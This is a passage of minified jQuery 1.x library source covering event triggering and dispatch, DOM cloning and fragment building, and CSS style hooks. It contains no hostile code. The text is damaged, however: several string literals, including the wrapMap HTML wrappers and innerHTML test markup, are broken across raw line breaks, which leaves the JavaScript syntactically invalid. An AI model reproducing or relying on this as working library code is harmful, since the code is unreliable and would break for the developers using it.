n.isEmptyObject(k) && (delete r.handle, n._removeData(a, "events"))
}
},
trigger: function(b, c, d, e) {
var f, g, h, i, k, l, m, o = [d || z],
p = j.call(b, "type") ? b.type : b,
q = j.call(b, "namespace") ? b.namespace.split(".") : [];
if (h = l = d = d || z, 3 !== d.nodeType && 8 !== d.nodeType && !_.test(p + n.event.triggered) && (p.indexOf(".") >= 0 && (q = p.split("."), p = q.shift(), q.sort()), g = p.indexOf(":") < 0 && "on" + p, b = b[n.expando] ? b : new n.Event(p, "object" == typeof b && b), b.isTrigger = e ? 2 : 3, b.namespace = q.join("."), b.namespace_re = b.namespace ? new RegExp("(^|\\.)" + q.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, b.result = void 0, b.target || (b.target = d), c = null == c ? [b] : n.makeArray(c, [b]), k = n.event.special[p] || {}, e || !k.trigger || k.trigger.apply(d, c) !== !1)) {
if (!e && !k.noBubble && !n.isWindow(d)) {
for (i = k.delegateType || p, _.test(i + p) || (h = h.parentNode); h; h = h.parentNode) o.push(h), l = h;
l === (d.ownerDocument || z) && o.push(l.defaultView || l.parentWindow || a)
}
m = 0;
while ((h = o[m++]) && !b.isPropagationStopped()) b.type = m > 1 ? i : k.bindType || p, f = (n._data(h, "events") || {})[b.type] && n._data(h, "handle"), f && f.apply(h, c), f = g && h[g], f && f.apply && n.acceptData(h) && (b.result = f.apply(h, c), b.result === !1 && b.preventDefault());
if (b.type = p, !e && !b.isDefaultPrevented() && (!k._default || k._default.apply(o.pop(), c) === !1) && n.acceptData(d) && g && d[p] && !n.isWindow(d)) {
l = d[g], l && (d[g] = null), n.event.triggered = p;
try {
d[p]()
} catch (r) {}
n.event.triggered = void 0, l && (d[g] = l)
}
return b.result
}
},
dispatch: function(a) {
a = n.event.fix(a);
var b, c, e, f, g, h = [],
i = d.call(arguments),
j = (n._data(this, "events") || {})[a.type] || [],
k = n.event.special[a.type] || {};
if (i[0] = a, a.delegateTarget = this, !k.preDispatch || k.preDispatch.call(this, a) !== !1) {
h = n.event.handlers.call(this, a, j), b = 0;
while ((f = h[b++]) && !a.isPropagationStopped()) {
a.currentTarget = f.elem, g = 0;
while ((e = f.handlers[g++]) && !a.isImmediatePropagationStopped())(!a.namespace_re || a.namespace_re.test(e.namespace)) && (a.handleObj = e, a.data = e.data, c = ((n.event.special[e.origType] || {}).handle || e.handler).apply(f.elem, i), void 0 !== c && (a.result = c) === !1 && (a.preventDefault(), a.stopPropagation()))
}
return k.postDispatch && k.postDispatch.call(this, a), a.result
}
},
handlers: function(a, b) {
var c, d, e, f, g = [],
h = b.delegateCount,
i = a.target;
if (h && i.nodeType && (!a.button || "click" !== a.type))
for (; i != this; i = i.parentNode || this)
if (1 === i.nodeType && (i.disabled !== !0 || "click" !== a.type)) {
for (e = [], f = 0; h > f; f++) d = b[f], c = d.selector + " ", void 0 === e[c] && (e[c] = d.needsContext ? n(c, this).index(i) >= 0 : n.find(c, this, null, [i]).length), e[c] && e.push(d);
e.length && g.push({
elem: i,
handlers: e
})
}
return h < b.length && g.push({
elem: this,
handlers: b.slice(h)
}), g
},
fix: function(a) {
if (a[n.expando]) return a;
var b, c, d, e = a.type,
f = a,
g = this.fixHooks[e];
g || (this.fixHooks[e] = g = $.test(e) ? this.mouseHooks : Z.test(e) ? this.keyHooks : {}), d = g.props ? this.props.concat(g.props) : this.props, a = new n.Event(f), b = d.length;
while (b--) c = d[b], a[c] = f[c];
return a.target || (a.target = f.srcElement || z), 3 === a.target.nodeType && (a.target = a.target.parentNode), a.metaKey = !!a.metaKey, g.filter ? g.filter(a, f) : a
},
props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
fixHooks: {},
keyHooks: {
props: "char charCode key keyCode".split(" "),
filter: function(a, b) {
return null == a.which && (a.which = null != b.charCode ? b.charCode : b.keyCode), a
}
},
mouseHooks: {
props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
filter: function(a, b) {
var c, d, e, f = b.button,
g = b.fromElement;
return null == a.pageX && null != b.clientX && (d = a.target.ownerDocument || z, e = d.documentElement, c = d.body, a.pageX = b.clientX + (e && e.scrollLeft || c && c.scrollLeft || 0) - (e && e.clientLeft || c && c.clientLeft || 0), a.pageY = b.clientY + (e && e.scrollTop || c && c.scrollTop || 0) - (e && e.clientTop || c && c.clientTop || 0)), !a.relatedTarget && g && (a.relatedTarget = g === a.target ? b.toElement : g), a.which || void 0 === f || (a.which = 1 & f ? 1 : 2 & f ? 3 : 4 & f ? 2 : 0), a
}
},
special: {
load: {
noBubble: !0
},
focus: {
trigger: function() {
if (this !== db() && this.focus) try {
return this.focus(), !1
} catch (a) {}
},
delegateType: "focusin"
},
blur: {
trigger: function() {
return this === db() && this.blur ? (this.blur(), !1) : void 0
},
delegateType: "focusout"
},
click: {
trigger: function() {
return n.nodeName(this, "input") && "checkbox" === this.type && this.click ? (this.click(), !1) : void 0
},
_default: function(a) {
return n.nodeName(a.target, "a")
}
},
beforeunload: {
postDispatch: function(a) {
void 0 !== a.result && (a.originalEvent.returnValue = a.result)
}
}
},
simulate: function(a, b, c, d) {
var e = n.extend(new n.Event, c, {
type: a,
isSimulated: !0,
originalEvent: {}
});
d ? n.event.trigger(e, null, b) : n.event.dispatch.call(b, e), e.isDefaultPrevented() && c.preventDefault()
}
}, n.removeEvent = z.removeEventListener ? function(a, b, c) {
a.removeEventListener && a.removeEventListener(b, c, !1)
} : function(a, b, c) {
var d = "on" + b;
a.detachEvent && (typeof a[d] === L && (a[d] = null), a.detachEvent(d, c))
}, n.Event = function(a, b) {
return this instanceof n.Event ? (a && a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || void 0 === a.defaultPrevented && (a.returnValue === !1 || a.getPreventDefault && a.getPreventDefault()) ? bb : cb) : this.type = a, b && n.extend(this, b), this.timeStamp = a && a.timeStamp || n.now(), void(this[n.expando] = !0)) : new n.Event(a, b)
}, n.Event.prototype = {
isDefaultPrevented: cb,
isPropagationStopped: cb,
isImmediatePropagationStopped: cb,
preventDefault: function() {
var a = this.originalEvent;
this.isDefaultPrevented = bb, a && (a.preventDefault ? a.preventDefault() : a.returnValue = !1)
},
stopPropagation: function() {
var a = this.originalEvent;
this.isPropagationStopped = bb, a && (a.stopPropagation && a.stopPropagation(), a.cancelBubble = !0)
},
stopImmediatePropagation: function() {
this.isImmediatePropagationStopped = bb, this.stopPropagation()
}
}, n.each({
mouseenter: "mouseover",
mouseleave: "mouseout"
}, function(a, b) {
n.event.special[a] = {
delegateType: b,
bindType: b,
handle: function(a) {
var c, d = this,
e = a.relatedTarget,
f = a.handleObj;
return (!e || e !== d && !n.contains(d, e)) && (a.type = f.origType, c = f.handler.apply(this, arguments), a.type = b), c
}
}
}), l.submitBubbles || (n.event.special.submit = {
setup: function() {
return n.nodeName(this, "form") ? !1 : void n.event.add(this, "click._submit keypress._submit", function(a) {
var b = a.target,
c = n.nodeName(b, "input") || n.nodeName(b, "button") ? b.form : void 0;
c && !n._data(c, "submitBubbles") && (n.event.add(c, "submit._submit", function(a) {
a._submit_bubble = !0
}), n._data(c, "submitBubbles", !0))
})
},
postDispatch: function(a) {
a._submit_bubble && (delete a._submit_bubble, this.parentNode && !a.isTrigger && n.event.simulate("submit", this.parentNode, a, !0))
},
teardown: function() {
return n.nodeName(this, "form") ? !1 : void n.event.remove(this, "._submit")
}
}), l.changeBubbles || (n.event.special.change = {
setup: function() {
return Y.test(this.nodeName) ? (("checkbox" === this.type || "radio" === this.type) && (n.event.add(this, "propertychange._change", function(a) {
"checked" === a.originalEvent.propertyName && (this._just_changed = !0)
}), n.event.add(this, "click._change", function(a) {
this._just_changed && !a.isTrigger && (this._just_changed = !1), n.event.simulate("change", this, a, !0)
})), !1) : void n.event.add(this, "beforeactivate._change", function(a) {
var b = a.target;
Y.test(b.nodeName) && !n._data(b, "changeBubbles") && (n.event.add(b, "change._change", function(a) {
!this.parentNode || a.isSimulated || a.isTrigger || n.event.simulate("change", this.parentNode, a, !0)
}), n._data(b, "changeBubbles", !0))
})
},
handle: function(a) {
var b = a.target;
return this !== b || a.isSimulated || a.isTrigger || "radio" !== b.type && "checkbox" !== b.type ? a.handleObj.handler.apply(this, arguments) : void 0
},
teardown: function() {
return n.event.remove(this, "._change"), !Y.test(this.nodeName)
}
}), l.focusinBubbles || n.each({
focus: "focusin",
blur: "focusout"
}, function(a, b) {
var c = function(a) {
n.event.simulate(b, a.target, n.event.fix(a), !0)
};
n.event.special[b] = {
setup: function() {
var d = this.ownerDocument || this,
e = n._data(d, b);
e || d.addEventListener(a, c, !0), n._data(d, b, (e || 0) + 1)
},
teardown: function() {
var d = this.ownerDocument || this,
e = n._data(d, b) - 1;
e ? n._data(d, b, e) : (d.removeEventListener(a, c, !0), n._removeData(d, b))
}
}
}), n.fn.extend({
on: function(a, b, c, d, e) {
var f, g;
if ("object" == typeof a) {
"string" != typeof b && (c = c || b, b = void 0);
for (f in a) this.on(f, b, c, a[f], e);
return this
}
if (null == c && null == d ? (d = b, c = b = void 0) : null == d && ("string" == typeof b ? (d = c, c = void 0) : (d = c, c = b, b = void 0)), d === !1) d = cb;
else if (!d) return this;
return 1 === e && (g = d, d = function(a) {
return n().off(a), g.apply(this, arguments)
}, d.guid = g.guid || (g.guid = n.guid++)), this.each(function() {
n.event.add(this, a, d, c, b)
})
},
one: function(a, b, c, d) {
return this.on(a, b, c, d, 1)
},
off: function(a, b, c) {
var d, e;
if (a && a.preventDefault && a.handleObj) return d = a.handleObj, n(a.delegateTarget).off(d.namespace ? d.origType + "." + d.namespace : d.origType, d.selector, d.handler), this;
if ("object" == typeof a) {
for (e in a) this.off(e, b, a[e]);
return this
}
return (b === !1 || "function" == typeof b) && (c = b, b = void 0), c === !1 && (c = cb), this.each(function() {
n.event.remove(this, a, c, b)
})
},
trigger: function(a, b) {
return this.each(function() {
n.event.trigger(a, b, this)
})
},
triggerHandler: function(a, b) {
var c = this[0];
return c ? n.event.trigger(a, b, c, !0) : void 0
}
});

function eb(a) {
var b = ba.split("|"),
c = a.createDocumentFragment();
if (c.createElement)
while (b.length) c.createElement(b.pop());
return c
}
var ba = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
gb = / jQuery\d+="(?:null|\d+)"/g,
hb = new RegExp("<(?:" + ba + ")[\\s/>]", "i"),
ib = /^\s+/,
jb = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
kb = /<([\w:]+)/,
lb = /<tbody/i,
mb = /<|&#?\w+;/,
nb = /<(?:script|style|link)/i,
ob = /checked\s*(?:[^=]|=\s*.checked.)/i,
pb = /^$|\/(?:java|ecma)script/i,
qb = /^true\/(.*)/,
rb = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
sb = {
option: [1, "<select multiple='multiple'>", "
</select>"],
legend: [1, "
<fieldset>", "</fieldset>
"],
area: [1, "<map>", "</map>"],
param: [1, "<object>", "</object>"],
thead: [1, "
<table>", "</table>
"],
tr: [2, "
<table>
<tbody>", "</tbody>
</table>
"],
col: [2, "
<table>
<tbody></tbody>
<colgroup>", "</colgroup></table>
"],
td: [3, "
<table>
<tbody>
<tr>", "</tr>
</tbody>
</table>
"],
_default: l.htmlSerialize ? [0, "", ""] : [1, "X
<div>", "</div>
"]
},
tb = eb(z),
ub = tb.appendChild(z.createElement("div"));
sb.optgroup = sb.option, sb.tbody = sb.tfoot = sb.colgroup = sb.caption = sb.thead, sb.th = sb.td;

function vb(a, b) {
var c, d, e = 0,
f = typeof a.getElementsByTagName !== L ? a.getElementsByTagName(b || "*") : typeof a.querySelectorAll !== L ? a.querySelectorAll(b || "*") : void 0;
if (!f)
for (f = [], c = a.childNodes || a; null != (d = c[e]); e++) !b || n.nodeName(d, b) ? f.push(d) : n.merge(f, vb(d, b));
return void 0 === b || b && n.nodeName(a, b) ? n.merge([a], f) : f
}

function wb(a) {
X.test(a.type) && (a.defaultChecked = a.checked)
}

function xb(a, b) {
return n.nodeName(a, "table") && n.nodeName(11 !== b.nodeType ? b : b.firstChild, "tr") ? a.getElementsByTagName("tbody")[0] || a.appendChild(a.ownerDocument.createElement("tbody")) : a
}

function yb(a) {
return a.type = (null !== n.find.attr(a, "type")) + "/" + a.type, a
}

function zb(a) {
var b = qb.exec(a.type);
return b ? a.type = b[1] : a.removeAttribute("type"), a
}

function Ab(a, b) {
for (var c, d = 0; null != (c = a[d]); d++) n._data(c, "globalEval", !b || n._data(b[d], "globalEval"))
}

function Bb(a, b) {
if (1 === b.nodeType && n.hasData(a)) {
var c, d, e, f = n._data(a),
g = n._data(b, f),
h = f.events;
if (h) {
delete g.handle, g.events = {};
for (c in h)
for (d = 0, e = h[c].length; e > d; d++) n.event.add(b, c, h[c][d])
}
g.data && (g.data = n.extend({}, g.data))
}
}

function Cb(a, b) {
var c, d, e;
if (1 === b.nodeType) {
if (c = b.nodeName.toLowerCase(), !l.noCloneEvent && b[n.expando]) {
e = n._data(b);
for (d in e.events) n.removeEvent(b, d, e.handle);
b.removeAttribute(n.expando)
}
"script" === c && b.text !== a.text ? (yb(b).text = a.text, zb(b)) : "object" === c ? (b.parentNode && (b.outerHTML = a.outerHTML), l.html5Clone && a.innerHTML && !n.trim(b.innerHTML) && (b.innerHTML = a.innerHTML)) : "input" === c && X.test(a.type) ? (b.defaultChecked = b.checked = a.checked, b.value !== a.value && (b.value = a.value)) : "option" === c ? b.defaultSelected = b.selected = a.defaultSelected : ("input" === c || "textarea" === c) && (b.defaultValue = a.defaultValue)
}
}
n.extend({
clone: function(a, b, c) {
var d, e, f, g, h, i = n.contains(a.ownerDocument, a);
if (l.html5Clone || n.isXMLDoc(a) || !hb.test("<" + a.nodeName + ">") ? f = a.cloneNode(!0) : (ub.innerHTML = a.outerHTML, ub.removeChild(f = ub.firstChild)), !(l.noCloneEvent && l.noCloneChecked || 1 !== a.nodeType && 11 !== a.nodeType || n.isXMLDoc(a)))
for (d = vb(f), h = vb(a), g = 0; null != (e = h[g]); ++g) d[g] && Cb(e, d[g]);
if (b)
if (c)
for (h = h || vb(a), d = d || vb(f), g = 0; null != (e = h[g]); g++) Bb(e, d[g]);
else Bb(a, f);
return d = vb(f, "script"), d.length > 0 && Ab(d, !i && vb(a, "script")), d = h = e = null, f
},
buildFragment: function(a, b, c, d) {
for (var e, f, g, h, i, j, k, m = a.length, o = eb(b), p = [], q = 0; m > q; q++)
if (f = a[q], f || 0 === f)
if ("object" === n.type(f)) n.merge(p, f.nodeType ? [f] : f);
else if (mb.test(f)) {
h = h || o.appendChild(b.createElement("div")), i = (kb.exec(f) || ["", ""])[1].toLowerCase(), k = sb[i] || sb._default, h.innerHTML = k[1] + f.replace(jb, "<$1></$2>") + k[2], e = k[0];
while (e--) h = h.lastChild;
if (!l.leadingWhitespace && ib.test(f) && p.push(b.createTextNode(ib.exec(f)[0])), !l.tbody) {
f = "table" !== i || lb.test(f) ? "
<table>" !== k[1] || lb.test(f) ? 0 : h : h.firstChild, e = f && f.childNodes.length;
while (e--) n.nodeName(j = f.childNodes[e], "tbody") && !j.childNodes.length && f.removeChild(j)
}
n.merge(p, h.childNodes), h.textContent = "";
while (h.firstChild) h.removeChild(h.firstChild);
h = o.lastChild
} else p.push(b.createTextNode(f));
h && o.removeChild(h), l.appendChecked || n.grep(vb(p, "input"), wb), q = 0;
while (f = p[q++])
if ((!d || -1 === n.inArray(f, d)) && (g = n.contains(f.ownerDocument, f), h = vb(o.appendChild(f), "script"), g && Ab(h), c)) {
e = 0;
while (f = h[e++]) pb.test(f.type || "") && c.push(f)
}
return h = null, o
},
cleanData: function(a, b) {
for (var d, e, f, g, h = 0, i = n.expando, j = n.cache, k = l.deleteExpando, m = n.event.special; null != (d = a[h]); h++)
if ((b || n.acceptData(d)) && (f = d[i], g = f && j[f])) {
if (g.events)
for (e in g.events) m[e] ? n.event.remove(d, e) : n.removeEvent(d, e, g.handle);
j[f] && (delete j[f], k ? delete d[i] : typeof d.removeAttribute !== L ? d.removeAttribute(i) : d[i] = null, c.push(f))
}
}
}), n.fn.extend({
text: function(a) {
return W(this, function(a) {
return void 0 === a ? n.text(this) : this.empty().append((this[0] && this[0].ownerDocument || z).createTextNode(a))
}, null, a, arguments.length)
},
append: function() {
return this.domManip(arguments, function(a) {
if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
var b = xb(this, a);
b.appendChild(a)
}
})
},
prepend: function() {
return this.domManip(arguments, function(a) {
if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
var b = xb(this, a);
b.insertBefore(a, b.firstChild)
}
})
},
before: function() {
return this.domManip(arguments, function(a) {
this.parentNode && this.parentNode.insertBefore(a, this)
})
},
after: function() {
return this.domManip(arguments, function(a) {
this.parentNode && this.parentNode.insertBefore(a, this.nextSibling)
})
},
remove: function(a, b) {
for (var c, d = a ? n.filter(a, this) : this, e = 0; null != (c = d[e]); e++) b || 1 !== c.nodeType || n.cleanData(vb(c)), c.parentNode && (b && n.contains(c.ownerDocument, c) && Ab(vb(c, "script")), c.parentNode.removeChild(c));
return this
},
empty: function() {
for (var a, b = 0; null != (a = this[b]); b++) {
1 === a.nodeType && n.cleanData(vb(a, !1));
while (a.firstChild) a.removeChild(a.firstChild);
a.options && n.nodeName(a, "select") && (a.options.length = 0)
}
return this
},
clone: function(a, b) {
return a = null == a ? !1 : a, b = null == b ? a : b, this.map(function() {
return n.clone(this, a, b)
})
},
html: function(a) {
return W(this, function(a) {
var b = this[0] || {},
c = 0,
d = this.length;
if (void 0 === a) return 1 === b.nodeType ? b.innerHTML.replace(gb, "") : void 0;
if (!("string" != typeof a || nb.test(a) || !l.htmlSerialize && hb.test(a) || !l.leadingWhitespace && ib.test(a) || sb[(kb.exec(a) || ["", ""])[1].toLowerCase()])) {
a = a.replace(jb, "<$1></$2>");
try {
for (; d > c; c++) b = this[c] || {}, 1 === b.nodeType && (n.cleanData(vb(b, !1)), b.innerHTML = a);
b = 0
} catch (e) {}
}
b && this.empty().append(a)
}, null, a, arguments.length)
},
replaceWith: function() {
var a = arguments[0];
return this.domManip(arguments, function(b) {
a = this.parentNode, n.cleanData(vb(this)), a && a.replaceChild(b, this)
}), a && (a.length || a.nodeType) ? this : this.remove()
},
detach: function(a) {
return this.remove(a, !0)
},
domManip: function(a, b) {
a = e.apply([], a);
var c, d, f, g, h, i, j = 0,
k = this.length,
m = this,
o = k - 1,
p = a[0],
q = n.isFunction(p);
if (q || k > 1 && "string" == typeof p && !l.checkClone && ob.test(p)) return this.each(function(c) {
var d = m.eq(c);
q && (a[0] = p.call(this, c, d.html())), d.domManip(a, b)
});
if (k && (i = n.buildFragment(a, this[0].ownerDocument, !1, this), c = i.firstChild, 1 === i.childNodes.length && (i = c), c)) {
for (g = n.map(vb(i, "script"), yb), f = g.length; k > j; j++) d = i, j !== o && (d = n.clone(d, !0, !0), f && n.merge(g, vb(d, "script"))), b.call(this[j], d, j);
if (f)
for (h = g[g.length - 1].ownerDocument, n.map(g, zb), j = 0; f > j; j++) d = g[j], pb.test(d.type || "") && !n._data(d, "globalEval") && n.contains(h, d) && (d.src ? n._evalUrl && n._evalUrl(d.src) : n.globalEval((d.text || d.textContent || d.innerHTML || "").replace(rb, "")));
i = c = null
}
return this
}
}), n.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function(a, b) {
n.fn[a] = function(a) {
for (var c, d = 0, e = [], g = n(a), h = g.length - 1; h >= d; d++) c = d === h ? this : this.clone(!0), n(g[d])[b](c), f.apply(e, c.get());
return this.pushStack(e)
}
});
var be, Eb = {};

function Fb(b, c) {
var d = n(c.createElement(b)).appendTo(c.body),
e = a.getDefaultComputedStyle ? a.getDefaultComputedStyle(d[0]).display : n.css(d[0], "display");
return d.detach(), e
}

function Gb(a) {
var b = z,
c = Eb[a];
return c || (c = Fb(a, b), "none" !== c && c || (be = (be || n("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement), b = (be[0].contentWindow || be[0].contentDocument).document, b.write(), b.close(), c = Fb(a, b), be.detach()), Eb[a] = c), c
}! function() {
var a, b, c = z.createElement("div"),
d = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0";
c.innerHTML = " 	<link/>
<table></table>
<a href='/a'>a</a><input type='checkbox'/>", a = c.getElementsByTagName("a")[0], a.style.cssText = "float:left;opacity:.5", l.opacity = /^0.5/.test(a.style.opacity), l.cssFloat = !!a.style.cssFloat, c.style.backgroundClip = "content-box", c.cloneNode(!0).style.backgroundClip = "", l.clearCloneStyle = "content-box" === c.style.backgroundClip, a = c = null, l.shrinkWrapBlocks = function() {
var a, c, e, f;
if (null == b) {
if (a = z.getElementsByTagName("body")[0], !a) return;
f = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px", c = z.createElement("div"), e = z.createElement("div"), a.appendChild(c).appendChild(e), b = !1, typeof e.style.zoom !== L && (e.style.cssText = d + ";width:1px;padding:1px;zoom:1", e.innerHTML = "
<div></div>
", e.firstChild.style.width = "5px", b = 3 !== e.offsetWidth), a.removeChild(c), a = c = e = null
}
return b
}
}();
var bf = /^margin/,
Ib = new RegExp("^(" + T + ")(?!px)[a-z%]+$", "i"),
Jb, Kb, Lb = /^(top|right|bottom|left)$/;
a.getComputedStyle ? (Jb = function(a) {
return a.ownerDocument.defaultView.getComputedStyle(a, null)
}, Kb = function(a, b, c) {
var d, e, f, g, h = a.style;
return c = c || Jb(a), g = c ? c.getPropertyValue(b) || c[b] : void 0, c && ("" !== g || n.contains(a.ownerDocument, a) || (g = n.style(a, b)), Ib.test(g) && bf.test(b) && (d = h.width, e = h.minWidth, f = h.maxWidth, h.minWidth = h.maxWidth = h.width = g, g = c.width, h.width = d, h.minWidth = e, h.maxWidth = f)), void 0 === g ? g : g + ""
}) : z.documentElement.currentStyle && (Jb = function(a) {
return a.currentStyle
}, Kb = function(a, b, c) {
var d, e, f, g, h = a.style;
return c = c || Jb(a), g = c ? c[b] : void 0, null == g && h && h[b] && (g = h[b]), Ib.test(g) && !Lb.test(b) && (d = h.left, e = a.runtimeStyle, f = e && e.left, f && (e.left = a.currentStyle.left), h.left = "fontSize" === b ? "1em" : g, g = h.pixelLeft + "px", h.left = d, f && (e.left = f)), void 0 === g ? g : g + "" || "auto"
});

function Mb(a, b) {
return {
get: function() {
var c = a();
if (null != c) return c ? void delete this.get : (this.get = b).apply(this, arguments)
}
}
}! function() {
var b, c, d, e, f, g, h = z.createElement("div"),
i = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px",
j = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0";
h.innerHTML = " 	<link/>
<table></table>
<a href='/a'>a</a><input type='checkbox'/>", b = h.getElementsByTagName("a")[0], b.style.cssText = "float:left;opacity:.5", l.opacity = /^0.5/.test(b.style.opacity), l.cssFloat = !!b.style.cssFloat, h.style.backgroundClip = "content-box", h.cloneNode(!0).style.backgroundClip = "", l.clearCloneStyle = "content-box" === h.style.backgroundClip, b = h = null, n.extend(l, {
reliableHiddenOffsets: function() {
if (null != c) return c;
var a, b, d, e = z.createElement("div"),
f = z.getElementsByTagName("body")[0];
if (f) return e.setAttribute("className", "t"), e.innerHTML = " 	<link/>
<table></table>
<a href='/a'>a</a><input type='checkbox'/>", a = z.createElement("div"), a.style.cssText = i, f.appendChild(a).appendChild(e), e.innerHTML = "
<table>
<tr>
<td></td>
<td>t</td>
</tr>
</table>
", b = e.getElementsByTagName("td"), b[0].style.cssText = "padding:0;margin:0;border:0;display:none", d = 0 === b[0].offsetHeight, b[0].style.display = "", b[1].style.display = "none", c = d && 0 === b[0].offsetHeight, f.removeChild(a), e = f = null, c
},
boxSizing: function() {
return null == d && k(), d
},
boxSizingReliable: function() {
return null == e && k(), e
},
pixelPosition: function() {
return null == f && k(), f
},
reliableMarginRight: function() {
var b, c, d, e;
if (null == g && a.getComputedStyle) {
if (b = z.getElementsByTagName("body")[0], !b) return;
c = z.createElement("div"), d = z.createElement("div"), c.style.cssText = i, b.appendChild(c).appendChild(d), e = d.appendChild(z.createElement("div")), e.style.cssText = d.style.cssText = j, e.style.marginRight = e.style.width = "0", d.style.width = "1px", g = !parseFloat((a.getComputedStyle(e, null) || {}).marginRight), b.removeChild(c)
}
return g
}
});

function k() {
var b, c, h = z.getElementsByTagName("body")[0];
h && (b = z.createElement("div"), c = z.createElement("div"), b.style.cssText = i, h.appendChild(b).appendChild(c), c.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:absolute;display:block;padding:1px;border:1px;width:4px;margin-top:1%;top:1%", n.swap(h, null != h.style.zoom ? {
zoom: 1
} : {}, function() {
d = 4 === c.offsetWidth
}), e = !0, f = !1, g = !0, a.getComputedStyle && (f = "1%" !== (a.getComputedStyle(c, null) || {}).top, e = "4px" === (a.getComputedStyle(c, null) || {
width: "4px"
}).width), h.removeChild(b), c = h = null)
}
}(), n.swap = function(a, b, c, d) {
var e, f, g = {};
for (f in b) g[f] = a.style[f], a.style[f] = b[f];
e = c.apply(a, d || []);
for (f in b) a.style[f] = g[f];
return e
};
var bg = /alpha\([^)]*\)/i,
Ob = /opacity\s*=\s*([^)]*)/,
Pb = /^(none|table(?!-c[ea]).+)/,
Qb = new RegExp("^(" + T + ")(.*)$", "i"),
Rb = new RegExp("^([+-])=(" + T + ")", "i"),
Sb = {
position: "absolute",
visibility: "hidden",
display: "block"
},
Tb = {
letterSpacing: 0,
fontWeight: 400
},
Ub = ["Webkit", "O", "Moz", "ms"];

function Vb(a, b) {
if (b in a) return b;
var c = b.charAt(0).toUpperCase() + b.slice(1),
d = b,
e = Ub.length;
while (e--)
if (b = Ub[e] + c, b in a) return b;
return d
}

function Wb(a, b) {
for (var c, d, e, f = [], g = 0, h = a.length; h > g; g++) d = a[g], d.style && (f[g] = n._data(d, "olddisplay"), c = d.style.display, b ? (f[g] || "none" !== c || (d.style.display = ""), "" === d.style.display && V(d) && (f[g] = n._data(d, "olddisplay", Gb(d.nodeName)))) : f[g] || (e = V(d), (c && "none" !== c || !e) && n._data(d, "olddisplay", e ? c : n.css(d, "display"))));
for (g = 0; h > g; g++) d = a[g], d.style && (b && "none" !== d.style.display && "" !== d.style.display || (d.style.display = b ? f[g] || "" : "none"));
return a
}

function Xb(a, b, c) {
var d = Qb.exec(b);
return d ? Math.max(0, d[1] - (c || 0)) + (d[2] || "px") : b
}

function Yb(a, b, c, d, e) {
for (var f = c === (d ? "border" : "content") ? 4 : "width" === b ? 1 : 0, g = 0; 4 > f; f += 2) "margin" === c && (g += n.css(a, c + U[f], !0, e)), d ? ("content" === c && (g -= n.css(a, "padding" + U[f], !0, e)), "margin" !== c && (g -= n.css(a, "border" + U[f] + "Width", !0, e))) : (g += n.css(a, "padding" + U[f], !0, e), "padding" !== c && (g += n.css(a, "border" + U[f] + "Width", !0, e)));
return g
}

function Zb(a, b, c) {
var d = !0,
e = "width" === b ? a.offsetWidth : a.offsetHeight,
f = Jb(a),
g = l.boxSizing() && "border-box" === n.css(a, "boxSizing", !1, f);
if (0 >= e || null == e) {
if (e = Kb(a, b, f), (0 > e || null == e) && (e = a.style[b]), Ib.test(e)) return e;
d = g && (l.boxSizingReliable() || e === a.style[b]), e = parseFloat(e) || 0
}
return e + Yb(a, b, c || (g ? "border" : "content"), d, f) + "px"
}
n.extend({
cssHooks: {
opacity: {
get: function(a, b) {
if (b) {
var c = Kb(a, "opacity");
return "" === c ? "1" : c
}
}
}
},
cssNumber: {
columnCount: !0,
fillOpacity: !0,
fontWeight: !0,
lineHeight: !0,
opacity: !0,
order: !0,
orphans: !0,
widows: !0,
zIndex: !0,
zoom: !0
},
cssProps: {
"float": l.cssFloat ? "cssFloat" : "styleFloat"
},
style: function(a, b, c, d) {
if (a && 3 !== a.nodeType && 8 !== a.nodeType && a.style) {
var e, f, g, h = n.camelCase(b),
i = a.style;
if (b = n.cssProps[h] || (n.cssProps[h] = Vb(i, h)), g = n.cssHooks[b] || n.cssHooks[h], void 0 === c) return g && "get" in g && void 0 !== (e = g.get(a, !1, d)) ? e : i[b];
if (f = typeof c, "string" === f && (e = Rb.exec(c)) && (c = (e[1] + 1) * e[2] + parseFloat(n.css(a, b)), f = "number"), null != c && c === c && ("number" !== f || n.cssNumber[h] || (c += "px"), l.clearCloneStyle || "" !== c || 0 !== b.indexOf("background") || (i[b] = "inherit"), !(g && "set" in g && void 0 === (c = g.set(a, c, d))))) try {
i[b] = "", i[b] = c
} catch (j) {}
}
},
css: function(a, b, c, d) {
var e, f, g, h = n.camelCase(b);
return b = n.cssProps[h] || (n.cssProps[h] = Vb(a.style, h)), g = n.cssHooks[b] || n.cssHooks[h], g && "get" in g && (f = g.get(a, !0, c)), void 0 === f && (f = Kb(a, b, d)), "normal" === f && b in Tb && (f = Tb[b]), "" === c || c ? (e = parseFloat(f), c === !0 || n.isNumeric(e) ? e || 0 : f) : f
}
}), n.each(["height", "width"], function(a, b) {
n.cssHooks[b] = {
get: function(a, c, d) {
return c ? 0 === a.offsetWidth && Pb.test(n.css(a, "display")) ? n.swap(a, Sb, function() {
return Zb(a, b, d)
}) : Zb(a, b, d) : void 0
},
set: function(a, c, d) {
var e = d && Jb(a);
return Xb(a, c, d ? Yb(a, b, d, l.boxSizing() && "border-box" === n.css(a, "boxSizing", !1, e), e) : 0)
}
}
